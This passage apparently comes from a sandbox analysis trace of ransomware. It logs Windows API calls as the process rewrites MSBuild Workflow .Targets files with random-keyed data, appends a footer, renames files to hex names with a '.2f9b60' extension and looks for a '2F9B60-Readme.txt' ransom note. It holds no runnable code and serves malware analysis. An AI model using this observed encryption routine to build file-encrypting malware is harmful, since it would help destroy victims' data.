hFindFile=0x1b7ced00 | out: hFindFile=0x1b7ced00) returned 1 [0224.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1ebc0) returned 1 [0224.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cbf0) returned 1 [0224.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205086d0) returned 1 [0224.691] FindNextFileW (in: hFindFile=0x1ced55c0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0224.691] FindClose (in: hFindFile=0x1ced55c0 | out: hFindFile=0x1ced55c0) returned 1 [0224.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20b70) returned 1 [0224.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508770) returned 1 [0224.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adde0) returned 1 Thread: id = 1892 os_tid = 0x1050 [0133.488] GetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.targets")) returned 0x20 [0133.491] SetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets", dwFileAttributes=0x20) returned 1 [0133.492] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.targets"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b64 [0133.492] GetFileSizeEx (in: hFile=0x1b64, lpFileSize=0x2d13f700 | out: lpFileSize=0x2d13f700*=4726) returned 1 [0133.492] SetFilePointerEx (in: hFile=0x1b64, liDistanceToMove=0x1272, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.492] ReadFile (in: hFile=0x1b64, lpBuffer=0x2d13f680, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d13f6c8, lpOverlapped=0x0 | out: lpBuffer=0x2d13f680*, lpNumberOfBytesRead=0x2d13f6c8*=0x4, lpOverlapped=0x0) returned 1 [0133.496] SetFilePointerEx (in: hFile=0x1b64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266de0 [0133.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267170 [0133.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267080 [0133.496] NtQuerySystemTime (in: CurrentTime=0x2d13f5c0 | out: CurrentTime=0x2d13f5c0*=132462177387382000) returned 0x0 [0133.496] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x47fc0ec9 [0133.496] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x5e95a89 [0133.496] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x6ac7a5b1 [0133.496] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x49a923d9 [0133.496] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x6ff7ba72 [0133.496] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x654473bc [0133.496] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x75705997 [0133.496] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x5c58ceab [0133.496] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x5f408d08 [0133.496] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x4ff47224 [0133.496] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x31151806 [0133.496] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x67ab8ca1 [0133.496] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x27c0c121 [0133.496] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x6dfc03b5 [0133.497] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x2f74cc18 [0133.497] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x511b5ede [0133.497] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x272bdcc9 [0133.497] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x2d0dfc90 [0133.497] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x64b7ed49 [0133.497] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x6363516c [0133.497] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x22804d8b [0133.497] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x366e82ba [0133.497] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x1df5c823 [0133.497] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x4cfcd05d [0133.497] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x5d3e3169 [0133.497] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x26a912f6 [0133.497] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x4fc90757 [0133.497] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x773ca451 [0133.497] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x541814d [0133.497] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x3d328692 [0133.497] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x29c9a60d [0133.497] RtlRandomEx (in: Seed=0x2d13f5b0 | out: Seed=0x2d13f5b0) returned 0x3bbf2da4 [0133.507] ReadFile (in: hFile=0x1b64, lpBuffer=0x41c978d0, nNumberOfBytesToRead=0x1276, lpNumberOfBytesRead=0x2d13f5b0, lpOverlapped=0x0 | out: lpBuffer=0x41c978d0*, lpNumberOfBytesRead=0x2d13f5b0*=0x1276, lpOverlapped=0x0) returned 1 [0133.517] SetFilePointerEx (in: hFile=0x1b64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.517] WriteFile (hFile=0x1b64, lpBuffer=0x41c9b4e0, nNumberOfBytesToWrite=0x1276, lpNumberOfBytesWritten=0x2d13f5b4, lpOverlapped=0x0) [0180.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd98f0 [0180.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9860 [0180.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9860) returned 1 [0180.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c9b4e0) returned 1 [0180.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c978d0) returned 1 [0180.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0180.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd972b0) returned 1 [0180.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9fc30 [0180.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd972b0 [0180.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e5f0 [0180.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9860 [0180.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9860) returned 1 [0180.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1b7a0440 [0180.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9860 [0180.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9d70 [0180.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9d70) returned 1 [0180.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0180.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd972b0) returned 1 [0180.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x112) returned 0x423ab3d0 [0180.183] SetFilePointerEx (in: hFile=0x1b64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.183] WriteFile (in: hFile=0x1b64, lpBuffer=0x423ab3d0*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2d13f6d0, lpOverlapped=0x0 | out: lpBuffer=0x423ab3d0*, lpNumberOfBytesWritten=0x2d13f6d0*=0x112, lpOverlapped=0x0) returned 1 [0199.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c5d0 [0199.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0199.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267140 [0199.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267140) returned 1 [0199.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267140 [0199.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266f60 [0199.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266fc0 [0199.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266fc0) returned 1 [0199.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0199.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 [0199.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1b82c5d0 [0199.669] sprintf (in: _Dest=0x1b82c5d0, _Format="%c%c" | out: _Dest="73") returned 2 [0199.669] sprintf (in: _Dest=0x1b82c5d2, _Format="%c%c" | out: _Dest="af") returned 2 [0199.669] sprintf (in: _Dest=0x1b82c5d4, _Format="%c%c" | out: _Dest="13") returned 2 [0199.669] sprintf (in: _Dest=0x1b82c5d6, _Format="%c%c" | out: _Dest="de") returned 2 [0199.669] sprintf (in: _Dest=0x1b82c5d8, _Format="%c%c" | out: _Dest="84") returned 2 [0199.669] sprintf (in: _Dest=0x1b82c5da, _Format="%c%c" | out: _Dest="af") returned 2 [0199.669] sprintf (in: _Dest=0x1b82c5dc, _Format="%c%c" | out: _Dest="f5") returned 2 [0199.669] sprintf (in: _Dest=0x1b82c5de, _Format="%c%c" | out: _Dest="1f") returned 2 [0199.669] sprintf (in: _Dest=0x1b82c5e0, _Format="%c%c" | out: _Dest="9c") returned 2 [0199.669] sprintf (in: _Dest=0x1b82c5e2, _Format="%c%c" | out: _Dest="61") returned 2 [0199.669] sprintf (in: _Dest=0x1b82c5e4, _Format="%c%c" | out: _Dest="dc") returned 2 [0199.669] sprintf (in: _Dest=0x1b82c5e6, _Format="%c%c" | out: _Dest="ff") returned 2 [0199.669] sprintf (in: _Dest=0x1b82c5e8, _Format="%c%c" | out: _Dest="c4") returned 2 [0199.669] sprintf (in: _Dest=0x1b82c5ea, _Format="%c%c" | out: _Dest="13") returned 2 [0199.669] sprintf (in: _Dest=0x1b82c5ec, _Format="%c%c" | out: _Dest="8a") returned 2 [0199.669] sprintf (in: _Dest=0x1b82c5ee, _Format="%c%c" | out: _Dest="0f") returned 2 [0199.669] sprintf (in: _Dest=0x1b82c5f0, _Format="%c%c" | out: _Dest="77") returned 2 [0199.669] sprintf (in: _Dest=0x1b82c5f2, _Format="%c%c" | out: _Dest="e1") returned 2 [0199.669] sprintf (in: _Dest=0x1b82c5f4, _Format="%c%c" | out: _Dest="31") returned 2 [0199.670] sprintf (in: _Dest=0x1b82c5f6, _Format="%c%c" | out: _Dest="e7") returned 2 [0199.670] sprintf (in: _Dest=0x1b82c5f8, _Format="%c%c" | out: _Dest="b7") returned 2 [0199.670] sprintf (in: _Dest=0x1b82c5fa, _Format="%c%c" | out: _Dest="8b") returned 2 [0199.670] sprintf (in: _Dest=0x1b82c5fc, _Format="%c%c" | out: _Dest="73") returned 2 [0199.670] sprintf (in: _Dest=0x1b82c5fe, _Format="%c%c" | out: _Dest="e8") returned 2 [0199.670] sprintf (in: _Dest=0x1b82c600, _Format="%c%c" | out: _Dest="93") returned 2 [0199.670] sprintf (in: _Dest=0x1b82c602, _Format="%c%c" | out: _Dest="d0") returned 2 [0199.670] sprintf (in: _Dest=0x1b82c604, _Format="%c%c" | out: _Dest="87") returned 2 [0199.670] sprintf (in: _Dest=0x1b82c606, _Format="%c%c" | out: _Dest="b7") returned 2 [0199.670] sprintf (in: _Dest=0x1b82c608, _Format="%c%c" | out: _Dest="fd") returned 2 [0199.670] sprintf (in: _Dest=0x1b82c60a, _Format="%c%c" | out: _Dest="0c") returned 2 [0199.670] sprintf (in: _Dest=0x1b82c60c, _Format="%c%c" | out: _Dest="c5") returned 2 [0199.670] sprintf (in: _Dest=0x1b82c60e, _Format="%c%c" | out: _Dest="e6") returned 2 [0199.670] RtlInitAnsiString (in: DestinationString=0x2d13f748, SourceString="73af13de84aff51f9c61dcffc4138a0f77e131e7b78b73e893d087b7fd0cc5e6" | out: DestinationString="73af13de84aff51f9c61dcffc4138a0f77e131e7b78b73e893d087b7fd0cc5e6") [0199.670] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d13f718, SourceString="73af13de84aff51f9c61dcffc4138a0f77e131e7b78b73e893d087b7fd0cc5e6", AllocateDestinationString=1 | out: DestinationString="73af13de84aff51f9c61dcffc4138a0f77e131e7b78b73e893d087b7fd0cc5e6") returned 0x0 [0199.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x431d9380 [0199.671] wcscat (in: _Dest=0x106940, _Source="73af13de84aff51f" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\73af13de84aff51f") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\73af13de84aff51f" [0199.671] wcscat (in: _Dest=0x106940, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\73af13de84aff51f.2f9b60") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\73af13de84aff51f.2f9b60" [0199.671] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\73af13de84aff51f.2f9b60", NtPathName=0x2d13f6f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\73af13de84aff51f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd6) returned 0x1ced02e0 [0203.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced02e0) returned 1 [0203.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309bb90) returned 1 [0203.500] NtQueryInformationFile (in: FileHandle=0x1b64, IoStatusBlock=0x2d13f758, FileInformation=0x2d13f768, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d13f758, FileInformation=0x2d13f768) returned 0x0 [0203.500] NtSetInformationFile (FileHandle=0x1b64, IoStatusBlock=0x2d13f758, FileInformation=0x2d13f768, Length=0x28, FileInformationClass=0x4) returned 0x0 [0208.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106940) returned 1 [0208.313] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431d9380) returned 1 [0208.313] FlushFileBuffers (hFile=0x1b64) returned 1 [0208.331] CloseHandle (hObject=0x1b64) returned 1 [0216.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x4312ade0 [0216.016] wcscpy (in: _Dest=0x4312ade0, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\" [0216.016] wcscat (in: _Dest=0x4312ade0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\2F9B60-Readme.txt") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\2F9B60-Readme.txt" [0216.016] GetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\2F9B60-Readme.txt" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\2f9b60-readme.txt")) returned 0x20 [0225.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4312ade0) returned 1 [0225.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279970) returned 1 Thread: id = 1893 os_tid = 0x1054 [0133.516] GetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.visualbasic.targets")) returned 0x20 [0133.519] SetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets", dwFileAttributes=0x20) returned 1 [0133.520] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.visualbasic.targets"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b80 [0133.521] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2d28fb80 | out: lpFileSize=0x2d28fb80*=5182) returned 1 [0133.521] SetFilePointerEx (in: hFile=0x1b80, liDistanceToMove=0x143a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.521] ReadFile (in: hFile=0x1b80, lpBuffer=0x2d28fb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d28fb48, lpOverlapped=0x0 | out: lpBuffer=0x2d28fb00*, lpNumberOfBytesRead=0x2d28fb48*=0x4, lpOverlapped=0x0) returned 1 [0133.523] SetFilePointerEx (in: hFile=0x1b80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266de0 [0133.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267080 [0133.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267230 [0133.524] NtQuerySystemTime (in: CurrentTime=0x2d28fa40 | out: CurrentTime=0x2d28fa40*=132462177387694000) returned 0x0 [0133.524] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x32f4b626 [0133.524] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x74b6f09d [0133.524] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x5b5528d0 [0133.524] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x5d8c1025 [0133.524] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x46a25c12 [0133.524] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x23466f83 [0133.524] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x3df4ca6d [0133.524] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x20c1ee0b [0133.524] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x4876782c [0133.524] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x1b02bb16 [0133.524] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x4e9770ae [0133.524] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x77aaa0fa [0133.524] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x657c8b76 [0133.524] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x7df65942 [0133.524] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x2164e859 [0133.524] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x4c08b5fc [0133.524] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x55d1f6db [0133.525] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x30eb6c7f [0133.525] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x304461e [0133.525] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x55ede092 [0133.525] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x302449d [0133.525] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x6a57dbe [0133.525] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x79ab3458 [0133.525] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x795a137c [0133.525] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x243af423 [0133.525] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x1090c79b [0133.525] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x4f8c256a [0133.525] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x70a4ffd6 [0133.525] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x75a8a717 [0133.525] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x734fc6b3 [0133.525] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x4287e138 [0133.525] RtlRandomEx (in: Seed=0x2d28fa30 | out: Seed=0x2d28fa30) returned 0x2f8e343f [0133.536] ReadFile (in: hFile=0x1b80, lpBuffer=0x41c9f0f0, nNumberOfBytesToRead=0x143e, lpNumberOfBytesRead=0x2d28fa30, lpOverlapped=0x0 | out: lpBuffer=0x41c9f0f0*, lpNumberOfBytesRead=0x2d28fa30*=0x143e, lpOverlapped=0x0) returned 1 [0133.551] SetFilePointerEx (in: hFile=0x1b80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.551] WriteFile (hFile=0x1b80, lpBuffer=0x41ca2d00, nNumberOfBytesToWrite=0x143e, lpNumberOfBytesWritten=0x2d28fa34, lpOverlapped=0x0) [0180.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda670 [0180.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda6a0 [0180.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda6a0) returned 1 [0180.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ca2d00) returned 1 [0180.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c9f0f0) returned 1 [0180.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d970) returned 1 [0180.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0180.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1cd971c0 [0180.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0180.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d970 [0180.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda6a0 [0180.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda6a0) returned 1 [0180.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1cd97440 [0180.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda6a0 [0180.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda5b0 [0180.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda5b0) returned 1 [0180.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d970) returned 1 [0180.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0180.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12a) returned 0x188990 [0180.211] SetFilePointerEx (in: hFile=0x1b80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.211] WriteFile (in: hFile=0x1b80, lpBuffer=0x188990*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x2d28fb50, lpOverlapped=0x0 | out: lpBuffer=0x188990*, lpNumberOfBytesWritten=0x2d28fb50*=0x12a, lpOverlapped=0x0) returned 1 [0199.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bf40 [0199.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0199.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266f30 [0199.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266f30) returned 1 [0199.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9fc70 [0199.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266f30 [0199.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267020 [0199.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267020) returned 1 [0199.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0199.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 